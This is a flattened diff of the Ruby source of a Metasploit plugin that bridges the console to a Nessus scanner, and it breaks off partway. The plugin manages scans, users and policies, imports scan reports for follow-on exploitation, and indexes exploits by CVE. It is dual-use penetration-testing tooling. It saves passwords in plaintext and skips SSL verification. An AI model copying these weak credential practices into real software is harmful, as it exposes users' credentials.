- } - print_good("Host Info") - print_good "\n" - print_line tbl.to_s - print_status("You can:") - print_status(" Get detailed scan infromation about a specfic port: nessus_report_host_detail ") - end - - def cmd_nessus_report_host_detail(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_host_detail ") - print_status(" Example:> nessus_report_host_ports 192.168.1.250 445 tcp f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Returns all the vulns associated with a port for a specific host") - print_status("use nessus_report_host_ports to list all available ports for a host") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 4 - host = args[0] - port = args[1] - prot = args[2] - rid = args[3] - else - print_status("Usage: ") - print_status(" nessus_report_host_detail ") - print_status(" use nessus_report_host_ports to list all available ports") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Port', - 'Severity', - 'PluginID', - 'Plugin Name', - 'CVSS2', - 'Exploit?', - 'CVE', - 'Risk Factor', - 'CVSS Vector' - ]) - details=@n.report_host_port_details(rid, host, port, prot) - details.each {|detail| - tbl << [ - detail['port'], - detail['severity'], - detail['pluginID'], - detail['pluginName'], - detail['cvss_base_score'] || 'none', - detail['exploit_available'] || '.', - detail['cve'] || '.', - detail['risk_factor'] || '.', - detail['cvss_vector'] || '.' - ] - } - print_good("Port Info") - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_scan_pause_all(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_pause_all") - print_status(" Example:> nessus_scan_pause_all") - print_status() - print_status("Pauses all currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - pause = @n.scan_pause_all - - print_status("All scans have been paused") - end - - def cmd_nessus_scan_stop(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_stop ") - print_status(" Example:> nessus_scan_stop f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Stops a currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - sid = args[0] - else - print_status("Usage: ") - print_status(" nessus_scan_stop ") - print_status(" use nessus_scan_status to list all available scans") - return - end - - pause = @n.scan_stop(sid) - - print_status("#{sid} has been stopped") - end - - def cmd_nessus_scan_stop_all(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_stop_all") - print_status(" Example:> nessus_scan_stop_all") - print_status() - print_status("stops all currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - pause = @n.scan_stop_all - - print_status("All scans have been stopped") - end - - def cmd_nessus_scan_resume_all(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_resume_all") - print_status(" Example:> nessus_scan_resume_all") - print_status() - print_status("resumes all currently running scans") - print_status("use nessus_scan_list to list all running scans") - return - end - - if ! nessus_verify_token - return - end - - pause = @n.scan_resume_all - - print_status("All scans have been resumed") - end - - def cmd_nessus_user_add(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_add ") - print_status(" Example:> nessus_user_add msf msf") - print_status() - print_status("Only adds non admin users. Must be an admin to add users.") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 2 - user = args[0] - pass = args[1] - else - print_status("Usage: ") - print_status(" nessus_user_add ") - print_status(" Only adds non admin users") - return - end - - u = @n.users_list - u.each { |stuff| - if stuff['name'] == user - print_error("That user exists") - return - end - } - add = @n.user_add(user,pass) - status = add.root.elements['status'].text if add - if status == "OK" - print_good("#{user} has been added") - else - print_error("#{user} was not added") - end - end - - def cmd_nessus_user_del(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_del ") - print_status(" Example:> nessus_user_del msf") - print_status() - print_status("Only dels non admin users. Must be an admin to del users.") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 1 - user = args[0] - else - print_status("Usage: ") - print_status(" nessus_user_del ") - print_status(" Only dels non admin users") - return - end - - del = @n.user_del(user) - status = del.root.elements['status'].text - if status == "OK" - print_good("#{user} has been deleted") - else - print_error("#{user} was not deleted") - end - end - - def cmd_nessus_user_passwd(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_passwd ") - print_status(" Example:> nessus_user_passwd msf newpassword") - print_status() - print_status("Changes the password of a user. Must be an admin to change passwords.") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 2 - user = args[0] - pass = args[1] - else - print_status("Usage: ") - print_status(" nessus_user_passwd ") - print_status(" User list from nessus_user_list") - return - end - - pass = @n.user_pass(user,pass) - status = pass.root.elements['status'].text - if status == "OK" - print_good("#{user}'s password has been changed") - else - print_error("#{user}'s password has not been changed") - end - end - - def cmd_nessus_admin(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_admin") - print_status(" Example:> nessus_admin") - print_status() - print_status("Checks to see if the current user is an admin") - print_status("use nessus_user_list to list all users") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - else - print_good("Your Nessus user is an admin") - end - end - - def cmd_nessus_plugin_family(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_family ") - print_status(" Example:> nessus_plugin_family \"Windows : Microsoft Bulletins\" ") - print_status() - print_status("Returns a list of all plugins in that family.") - print_status("use nessus_plugin_list to list all plugins") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - fam = args[0] - else - print_status("Usage: ") - print_status(" nessus_plugin_family ") - print_status(" list all plugins from a Family from nessus_plugin_list") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Plugin ID', - 'Plugin Name', - 'Plugin File Name' - ]) - - family = @n.plugin_family(fam) - - family.each {|plugin| - tbl << [ plugin['id'], plugin['name'], plugin['filename'] ] - } - print_good("#{fam} Info") - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_policy_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_policy_list") - print_status(" Example:> nessus_policy_list") - print_status() - print_status("Lists all policies on the server") - return - end - - if ! nessus_verify_token - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'ID', - 'Name', - 'Comments' - ]) - list=@n.policy_list_hash - list.each {|policy| - tbl << [ policy['id'], policy['name'], policy['comments'] ] - } - print_good("Nessus Policy List") - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_policy_del(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_policy_del ") - print_status(" Example:> nessus_policy_del 1") - print_status() - print_status("Must be an admin to del policies.") - print_status("use nessus_policy_list to list all policies") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 1 - pid = args[0] - else - print_status("Usage: ") - print_status(" nessus_policy_del ") - print_status(" nessus_policy_list to find the id.") - return - end - - - del = @n.policy_del(pid) - status = del.root.elements['status'].text - if status == "OK" - print_good("Policy number #{pid} has been deleted") - else - print_error("Policy number #{pid} was not deleted") - end - - end - - def cmd_nessus_plugin_details(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_details ") - print_status(" Example:> nessus_plugin_details ping_host.nasl ") - print_status() - print_status("Returns details on a particular plugin.") - print_status("use nessus_plugin_list to list all plugins") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - pname = args[0] - else - print_status("Usage: ") - print_status(" nessus_policy_del ") - print_status(" nessus_plugin_list and then nessus_plugin_family to find the plugin file name.") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - '', - '' - ]) - - entry = @n.plugin_detail(pname) - print_good("Plugin Details for #{entry['name']}") - tbl << [ "Plugin ID", entry['id'] ] - tbl << [ "Plugin Family", entry['family'] ] - tbl << [ "CVSS Base Score", entry['cvss_base_score'] ] - tbl << [ "CVSS Vector", entry['cvss_vector'] ] - tbl << [ "CVSS Temporal Score", entry['cvss_temporal_score'] ] - tbl << [ "CVSS Temporal Vector", entry['cvss_temporal_vector'] ] - tbl << [ "Risk Factor", entry['risk_factor'] ] - tbl << [ "Exploit Available", entry['exploit_available'] ] - tbl << [ "Exploitability Ease", entry['exploit_ease'] ] - tbl << [ "Synopsis", entry['synopsis'] ] - tbl << [ "Description", entry['description'] ] - tbl << [ "Solution", entry['solution'] ] - tbl << [ "Plugin Pub Date", entry['plugin_publication_date'] ] - tbl << [ "Plugin Modification Date", entry['plugin_modification_date'] ] - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_report_del(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_del ") - print_status(" Example:> nessus_report_del f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Must be an admin to del reports.") - print_status("use nessus_report_list to list all reports") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - case args.length - when 1 - rid = args[0] - else - print_status("Usage: ") - print_status(" nessus_report_del ") - print_status(" nessus_report_list to find the id.") - return - end - - - del = @n.report_del(rid) - status = del.root.elements['status'].text - if status == "OK" - print_good("Report #{rid} has been deleted") - else - print_error("Report #{rid} was not deleted") - end - end - - def cmd_nessus_server_prefs(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_server_prefs") - print_status(" Example:> nessus_server_prefs") - print_status() - print_status("Returns a long list of server prefs.") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Name', - 'Value' - ]) - prefs = @n.server_prefs - prefs.each {|pref| - tbl << [ pref['name'], pref['value'] ] - } - print_good("Nessus Server Pref List") - print_good "\n" - print_line tbl.to_s + "\n" - - end - - def cmd_nessus_plugin_prefs(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_prefs") - print_status(" Example:> nessus_plugin_prefs") - print_status() - print_status("Returns a long list of plugin prefs.") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_error("Your Nessus user is not an admin") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Name', - 'Value', - 'Type' - ]) - prefs = @n.plugin_prefs - prefs.each {|pref| - tbl << [ pref['prefname'], pref['prefvalues'], pref['preftype'] ] - } - print_good("Nessus Plugins Pref List") - print_good "\n" - print_line tbl.to_s - end - end - - def initialize(framework, opts) - super - - add_console_dispatcher(ConsoleCommandDispatcher) - @nbver = "1.1" # Nessus Plugin Version. Increments each time we commit to msf - @xindex = "#{Msf::Config.get_config_root}/nessus_index" # location of the exploit index file used to speed up searching for valid exploits. - @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" #location of the nessus.yml containing saved nessus creds - print_status("Nessus Bridge for Metasploit #{@nbver}") - print_good("Type %bldnessus_help%clr for a command listing") - #nessus_index - end - - def cleanup - remove_console_dispatcher('Nessus') - end - - def name - "nessus" - end - - def desc - "Nessus Bridge for Metasploit #{@nbver}" - end - protected - end + class Plugin::Nessus < Msf::Plugin + + #creates the index of exploit details to make searching for exploits much faster. + def create_xindex + start = Time.now + print_status("Creating Exploit Search Index - (#{@xindex}) - this wont take long.") + count = 0 + # use Msf::Config.get_config_root as the location. + File.open("#{@xindex}", "w+") do |f| + #need to add version line. + f.puts(Msf::Framework::RepoRevision) + framework.exploits.sort.each { |refname, mod| + stuff = "" + o = nil + begin + o = mod.new + rescue ::Exception + end + stuff << "#{refname}|#{o.name}|#{o.platform_to_s}|#{o.arch_to_s}" + next if not o + o.references.map do |x| + if !(x.ctx_id == "URL") + if (x.ctx_id == "MSB") + stuff << "|#{x.ctx_val}" + else + stuff << "|#{x.ctx_id}-#{x.ctx_val}" + end + end + end + stuff << "\n" + f.puts(stuff) + } + end + total = Time.now - start + print_status("It has taken : #{total} seconds to build the exploits search index") + end + + def nessus_index + if File.exist?("#{@xindex}") + #check if it's version line matches current version. + File.open("#{@xindex}") {|f| + line = f.readline + line.chomp! + if line.to_i == Msf::Framework::RepoRevision + print_good("Exploit Index - (#{@xindex}) - is valid.") + else + create_xindex + end + } + else + create_xindex + end + end + + class ConsoleCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + def name + "Nessus" + end + + def commands + { + "nessus_connect" => "Connect to a nessus server: nconnect username:password@hostname:port .", + "nessus_admin" => "Checks if user is an admin.", + "nessus_help" => "Get help on all commands.", + "nessus_logout" => "Terminate the session.", + "nessus_server_status" => "Check the status of your Nessus Server.", + "nessus_server_feed" => "Nessus Feed Type.", + "nessus_server_prefs" => "Display Server Prefs.", + "nessus_report_list" => "List all Nessus reports.", + "nessus_report_get" => "Import a report from the nessus server in Nessus v2 format.", + "nessus_report_del" => "Delete a report.", + "nessus_report_vulns" => "Get list of vulns from a report.", + "nessus_report_hosts" => "Get list of hosts from a report.", + "nessus_report_host_ports" => "Get list of open ports from a host from a report.", + "nessus_report_host_detail" => "Detail from a report item on a host.", + "nessus_scan_status" => "List all currently running Nessus scans.", + "nessus_scan_new" => "Create new Nessus Scan.", + "nessus_scan_pause" => "Pause a Nessus Scan.", + "nessus_scan_pause_all" => "Pause all Nessus Scans.", + "nessus_scan_stop" => "Stop a Nessus Scan.", + "nessus_scan_stop_all" => "Stop all Nessus Scans.", + "nessus_scan_resume" => "Resume a Nessus Scan.", + "nessus_scan_resume_all" => "Resume all Nessus Scans.", + "nessus_user_list" => "Show Nessus Users.", + "nessus_user_add" => "Add a new Nessus User.", + "nessus_user_del" => "Delete a Nessus User.", + "nessus_user_passwd" => "Change Nessus Users Password.", + "nessus_plugin_family" => "List plugins in a family.", + "nessus_plugin_details" => "List details of a particular plugin.", + "nessus_plugin_list" => "Displays each plugin family and the number of plugins.", + "nessus_plugin_prefs" => "Display Plugin Prefs.", + "nessus_policy_list" => "List all polciies.", + "nessus_policy_del" => "Delete a policy.", + "nessus_index" => "Manually generates a search index for exploits.", + "nessus_template_list" => "List all the templates on the server.", + "nessus_db_scan" => "Create a scan of all ips in db_hosts.", + "nessus_save" => "Save username/passowrd/server/port details." + } + end + + def cmd_nessus_index + Msf::Plugin::Nessus.nessus_index + end + + def cmd_nessus_save(*args) + #if we are logged in, save session details to nessus.yaml + @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_save") + return + end + + if args[0] + print_status("Usage: ") + print_status(" nessus_save") + return + end + + group = "default" + + if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + config = Hash.new + config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} + File.open("#{@nessus_yaml}", "w+") do |f| + f.puts YAML.dump(config) + end + print_good("#{@nessus_yaml} created.") + + else + print_error("Missing username/password/server/port - relogin and then try again.") + return + end + end + + def cmd_nessus_db_scan(*args) + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_db_scan ") + print_status(" Example:> nessus_db_scan 1 \"My Scan\"") + print_status() + print_status("Creates a scan based on all the hosts listed in db_hosts.") + print_status("use nessus_policy_list to list all available policies") + return + end + + if ! nessus_verify_token + return + end + + case args.length + when 2 + pid = args[0].to_i + name = args[1] + else + print_status("Usage: ") + print_status(" nessus_db_scan ") + print_status(" use nessus_policy_list to list all available policies") + return + end + + if check_policy(pid) + print_error("That policy does not exist.") + return + end + + tgts = "" + framework.db.hosts(framework.db.workspace).each do |host| + tgts << host.address + tgts << "," + end + + tgts.chop! + + print_status("Creating scan from policy number #{pid}, called \"#{name}\" and scanning all hosts in workspace") + + scan = @n.scan_new(pid, name, tgts) + + if scan + print_status("Scan started. uid is #{scan}") + end + + end + + def cmd_nessus_logout + @token = nil + print_status("Logged out") + system("rm #{@nessus_yaml}") + print_good("#{@nessus_yaml} removed.") + return + end + + def cmd_nessus_help(*args) + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "Command", + "Help Text" + ], + 'SortIndex' => -1 + ) + tbl << [ "Generic Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_connect", "Connect to a nessus server" ] + tbl << [ "nessus_save", "Save nessus login info between sessions" ] + tbl << [ "nessus_logout", "Logout from the nessus server" ] + tbl << [ "nessus_help", "Listing of available nessus commands" ] + tbl << [ "nessus_server_status", "Check the status of your Nessus Server" ] + tbl << [ "nessus_admin", "Checks if user is an admin" ] + tbl << [ "nessus_server_feed", "Nessus Feed Type" ] + tbl << [ "nessus_find_targets", "Try to find vulnerable targets from a report" ] + tbl << [ "nessus_server_prefs", "Display Server Prefs" ] + tbl << [ "", ""] + tbl << [ "Reports Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_report_list", "List all Nessus reports" ] + tbl << [ "nessus_report_get", "Import a report from the nessus server in Nessus v2 format" ] + tbl << [ "nessus_report_vulns", "Get list of vulns from a report" ] + tbl << [ "nessus_report_hosts", "Get list of hosts from a report" ] + tbl << [ "nessus_report_host_ports", "Get list of open ports from a host from a report" ] + tbl << [ "nessus_report_host_detail", "Detail from a report item on a host" ] + tbl << [ "", ""] + tbl << [ "Scan Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_scan_new", "Create new Nessus Scan" ] + tbl << [ "nessus_scan_status", "List all currently running Nessus scans" ] + tbl << [ "nessus_scan_pause", "Pause a Nessus Scan" ] + tbl << [ "nessus_scan_pause_all", "Pause all Nessus Scans" ] + tbl << [ "nessus_scan_stop", "Stop a Nessus Scan" ] + tbl << [ "nessus_scan_stop_all", "Stop all Nessus Scans" ] + tbl << [ "nessus_scan_resume", "Resume a Nessus Scan" ] + tbl << [ "nessus_scan_resume_all", "Resume all Nessus Scans" ] + tbl << [ "", ""] + tbl << [ "Plugin Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_plugin_list", "Displays each plugin family and the number of plugins" ] + tbl << [ "nessus_plugin_family", "List plugins in a family" ] + tbl << [ "nessus_plugin_details", "List details of a particular plugin" ] + tbl << [ "", ""] + tbl << [ "User Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_user_list", "Show Nessus Users" ] + tbl << [ "nessus_user_add", "Add a new Nessus User" ] + tbl << [ "nessus_user_del", "Delete a Nessus User" ] + tbl << [ "nessus_user_passwd", "Change Nessus Users Password" ] + tbl << [ "", ""] + tbl << [ "Policy Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_policy_list", "List all polciies" ] + tbl << [ "nessus_policy_del", "Delete a policy" ] + print_status "" + print_line tbl.to_s + print_status "" + end + + def cmd_nessus_server_feed(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_server_feed") + print_status(" Example:> nessus_server_feed") + print_status() + print_status("Returns information about the feed type and server version.") + return + end + + if nessus_verify_token + @feed, @version, @web_version = @n.feed + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Feed', + 'Nessus Version', + 'Nessus Web Version' + ]) + tbl << [@feed, @version, @web_version] + print_good("Nessus Status") + print_good "\n" + print_line tbl.to_s + end + end + + def nessus_verify_token + if @token.nil? or @token == '' + ncusage + return false + end + true + end + + def nessus_verify_db + + if ! (framework.db and framework.db.active) + print_error("No database has been configured, please use db_create/db_connect first") + return false + end + true + end + + def ncusage + print_status("%redYou must do this before any other commands.%clr") + print_status("Usage: ") + print_status(" nessus_connect username:password@hostname:port ") + print_status(" Example:> nessus_connect msf:msf@192.168.1.10:8834 ok") + print_status(" OR") + print_status(" nessus_connect username@hostname:port ") + print_status(" Example:> nessus_connect msf@192.168.1.10:8834 ok") + print_status(" OR") + print_status(" nessus_connect hostname:port ") + print_status(" Example:> nessus_connect 192.168.1.10:8834 ok") + print_status(" OR") + print_status(" nessus_connect") + print_status(" Example:> nessus_connect") + print_status("This only works after you have saved creds with nessus_save") + return + end + + def cmd_nessus_connect(*args) + # Check if config file exists and load it + @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" + if ! args[0] + if File.exist?("#{@nessus_yaml}") + lconfig = YAML.load_file("#{@nessus_yaml}") + @user = lconfig['default']['username'] + @pass = lconfig['default']['password'] + @host = lconfig['default']['server'] + @port = lconfig['default']['port'] + nessus_login + return + else + ncusage + return + end + end + + if args[0] == "-h" + print_status("%redYou must do this before any other commands.%clr") + print_status("Usage: ") + print_status(" nessus_connect username:password@hostname:port ") + print_status(" Example:> nessus_connect msf:msf@192.168.1.10:8834 ok") + print_status(" OR") + print_status(" nessus_connect username@hostname:port ") + print_status(" Example:> nessus_connect msf@192.168.1.10:8834 ok") + print_status(" OR") + print_status(" nessus_connect hostname:port ") + print_status(" Example:> nessus_connect 192.168.1.10:8834 ok") + print_status(" OR") + print_status(" nessus_connect") + print_status(" Example:> nessus_connect") + print_status("This only works after you have saved creds with nessus_save") + print_status() + print_status("%bldusername%clr and %bldpassword%clr are the ones you use to login to the nessus web front end") + print_status("%bldhostname%clr can be an ip address or a dns name of the web front end.") + print_status("%bldport%clr is the standard that the nessus web front end runs on : 8834. This is NOT 1241.") + print_status("The \"ok\" on the end is important. It is a way of letting you") + print_status("know that nessus used a self signed cert and the risk that presents.") + return + end + + if ! @token == '' + print_error("You are already authenticated. Call nessus_logout before authing again") + return + end + + if(args.length == 0 or args[0].empty?) + ncusage + return + end + + @user = @pass = @host = @port = @sslv = nil + + case args.length + when 1,2 + if args[0].include? "@" + cred,targ = args[0].split('@', 2) + @user,@pass = cred.split(':', 2) + targ ||= '127.0.0.1:8834' + @host,@port = targ.split(':', 2) + @port ||= '8834' + @sslv = args[1] + else + @host,@port = args[0].split(':', 2) + @port ||= '8834' + @sslv = args[1] + end + + when 3,4,5 + ncusage + return + else + ncusage + return + end + + if /\/\//.match(@host) + ncusage + return + end + + if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok") + print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") + print_error(" with the ability to man-in-the-middle the Nessus traffic to capture the Nessus") + print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") + print_error(" as an additional parameter to this command.") + return + end + + if ! @user + print_error("Missing Username") + ncusage + return + end + + if ! @pass + print_error("Missing Password") + ncusage + return + end + + if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + ncusage + return + end + nessus_login + end + + def nessus_login + + if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) + print_status("You need to connect to a server first.") + ncusage + return + end + + @url = "https://#{@host}:#{@port}/" + print_status("Connecting to #{@url} as #{@user}") + @n=NessusXMLRPC::NessusXMLRPC.new(@url,@user,@pass) + @token=@n.login(@user,@pass) + if @n.logged_in + print_status("Authenticated") + else + print_error("Error connecting/logging to the server!") + return + end + end + + def cmd_nessus_report_list(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_list") + print_status(" Example:> nessus_report_list") + print_status() + print_status("Generates a list of all reports visable to your user.") + return + end + + if ! nessus_verify_token + return + end + + list=@n.report_list_hash + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'ID', + 'Name', + 'Status', + 'Date' + ]) + + list.each {|report| + t = Time.at(report['timestamp'].to_i) + tbl << [ report['id'], report['name'], report['status'], t.strftime("%H:%M %b %d %Y") ] + } + print_good("Nessus Report List") + print_good "\n" + print_line tbl.to_s + "\n" + print_status("You can:") + print_status(" Get a list of hosts from the report: nessus_report_hosts ") + end + + def check_scan(*args) + + case args.length + when 1 + rid = args[0] + else + print_error("No Report ID Supplied") + return + end + + scans = @n.scan_list_hash + scans.each {|scan| + if scan['id'] == rid + return true + end + } + return false + end + + def cmd_nessus_report_get(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_report_get ") + print_status(" Example:> nessus_report_get f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") + print_status() + print_status("This command pulls the provided report from the nessus server in the nessusv2 format") + print_status("and parses it the same way db_import_nessus does. After it is parsed it will be") + print_status("available to commands such as db_hosts, db_vulns, db_services and db_autopwn.") + print_status("Use: nessus_report_list to obtain a list of report id's") + return + end + + if ! nessus_verify_token + return + end + + if ! nessus_verify_db + return + end + + if(args.length == 0 or args[0].empty? or args[0] == "-h") + print_status("Usage: ") + print_status(" nessus_report_get ") + print_status(" use nessus_report_list to list all available reports for importing") + return + end + + rid = nil + + case args.length + when 1 + rid = args[0] + else + print_status("Usage: ") + print_status(" nessus_report_get ") + print_status(" use nessus_report_list to list all available reports for importing") + return + end + + if check_scan(rid) + print_error("That scan is still running.") + return + end + content = nil + content=@n.report_file_download(rid) + if content.nil? + print_error("Failed, please reauthenticate") + return + end + print_status("importing " + rid) + framework.db.import({:data => content}) do |type,data| + case type + when :address + print_line("%bld%blu[*]%clr %bld#{data}%clr") + end + end + print_good("Done") + end + + def cmd_nessus_scan_status(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_scan_status") + print_status(" Example:> nessus_scan_status") + print_status() + print_status("Returns a list of information about currently running scans.") + return + end + + if ! nessus_verify_token + return + end + + list=@n.scan_list_hash + if list.empty? + print_status("No Scans Running.") + print_status("You can:") + print_status(" List of completed scans: nessus_report_list") + print_status(" Create a scan: nessus_scan_new ") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Scan ID', + 'Name', + 'Owner', + 'Started', + 'Status', + 'Current Hosts', + 'Total Hosts' + ]) + + list.each {|scan| + t = Time.at(scan['start'].to_i) + tbl << [ scan['id'], scan['name'], scan['owner'], t.strftime("%H:%M %b %d %Y"), scan['status'], scan['current'], scan['total'] ] + } + print_good("Running Scans") + print_good "\n" + print_line tbl.to_s + print_good "\n" + print_status("You can:") + print_good(" Import Nessus report to database : nessus_report_get ") + print_good(" Pause a nessus scan : nessus_scan_pause ") + end + + def cmd_nessus_template_list(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_template_list") + print_status(" Example:> nessus_template_list") + print_status() + print_status("Returns a list of information about the server templates..") + return + end + + if ! nessus_verify_token + return + end + + list=@n.template_list_hash + + if list.empty? + print_status("No Templates Created.") + print_status("You can:") + print_status(" List of completed scans: nessus_report_list") + print_status(" Create a template: nessus_template_new ") + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Template ID', + 'Policy ID', + 'Name', + 'Owner', + 'Target' + ]) + + list.each {|template| + tbl << [ template['name'], template['pid'], template['rname'], template['owner'], template['target'] ] + } + print_good("Templates") + print_good "\n" + print_line tbl.to_s + "\n" + print_good "\n" + print_status("You can:") + print_good(" Import Nessus report to database : nessus_report_get ") + end + + def cmd_nessus_user_list(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_user_list") + print_status(" Example:> nessus_user_list") + print_status() + print_status("Returns a list of the users on the Nessus server and their access level.") + return + end + + if ! nessus_verify_token + return + end + + if ! @n.is_admin + print_status("Your Nessus user is not an admin") + end + + list=@n.users_list + print_good("There are #{list.length} users") + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Name', + 'Is Admin?', + 'Last Login' + ]) + + list.each {|user| + t = Time.at(user['lastlogin'].to_i) + tbl << [ user['name'], user['admin'], t.strftime("%H:%M %b %d %Y") ] + } + print_good("Nessus users") + print_good "\n" + print_line tbl.to_s + end + + def cmd_nessus_server_status(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_server_status") + print_status(" Example:> nessus_server_status") + print_status() + print_status("Returns some status items for the server..") + return + end + #Auth + if ! nessus_verify_token + return + end + + #Check if we are an admin + if ! @n.is_admin + print_status("You need to be an admin for this.") + return + end + + #Versions + cmd_nessus_server_feed + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Users', + 'Policies', + 'Running Scans', + 'Reports', + 'Plugins' + ]) + #Count how many users the server has. + list=@n.users_list + users = list.length + + #Count how many policies + list=@n.policy_list_hash + policies = list.length + + #Count how many running scans + list=@n.scan_list_uids + scans = list.length + + #Count how many reports are available + list=@n.report_list_hash + reports = list.length + + #Count how many plugins + list=@n.plugins_list + total = Array.new + list.each {|plugin| + total.push(plugin['num'].to_i) + } + plugins = total.sum + tbl << [users, policies, scans, reports, plugins] + print_good "\n" + print_line tbl.to_s + end + + def cmd_nessus_plugin_list(*args) + + if args[0] == "-h" + print_status("Usage: ") + print_status(" nessus_plugin_list") + print_status(" Example:> nessus_plugin_list") + print_status() + print_status("Returns a list of the plugins on the server per family.") + return + end + + if ! nessus_verify_token + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + 'Family Name', + 'Total Plugins' + ]) + list=@n.plugins_list + total = Array.new + list.each {|plugin| + total.push(plugin['num'].to_i) + tbl << [ plugin['name'], plugin['num'] ] + } + plugins = total.sum + tbl << [ '', ''] + tbl << [ 'Total Plugins', plugins ] + print_good("Plugins By Family") + print_good "\n" + print_line tbl.to_s + print_status("List plugins for a family : nessus_plugin_family ") + end + + def check_policy(*args) + + case args.length + when 1 + pid = args[0] + else + print_error("No Policy ID supplied.") + return + end + + pol = @n.policy_list_hash + pol.each {|p| + if p['id'].to_i == pid + return false + end + } + return true + end + + def cmd_nessus_scan_new(*args) + + if args[0] == "-h" + 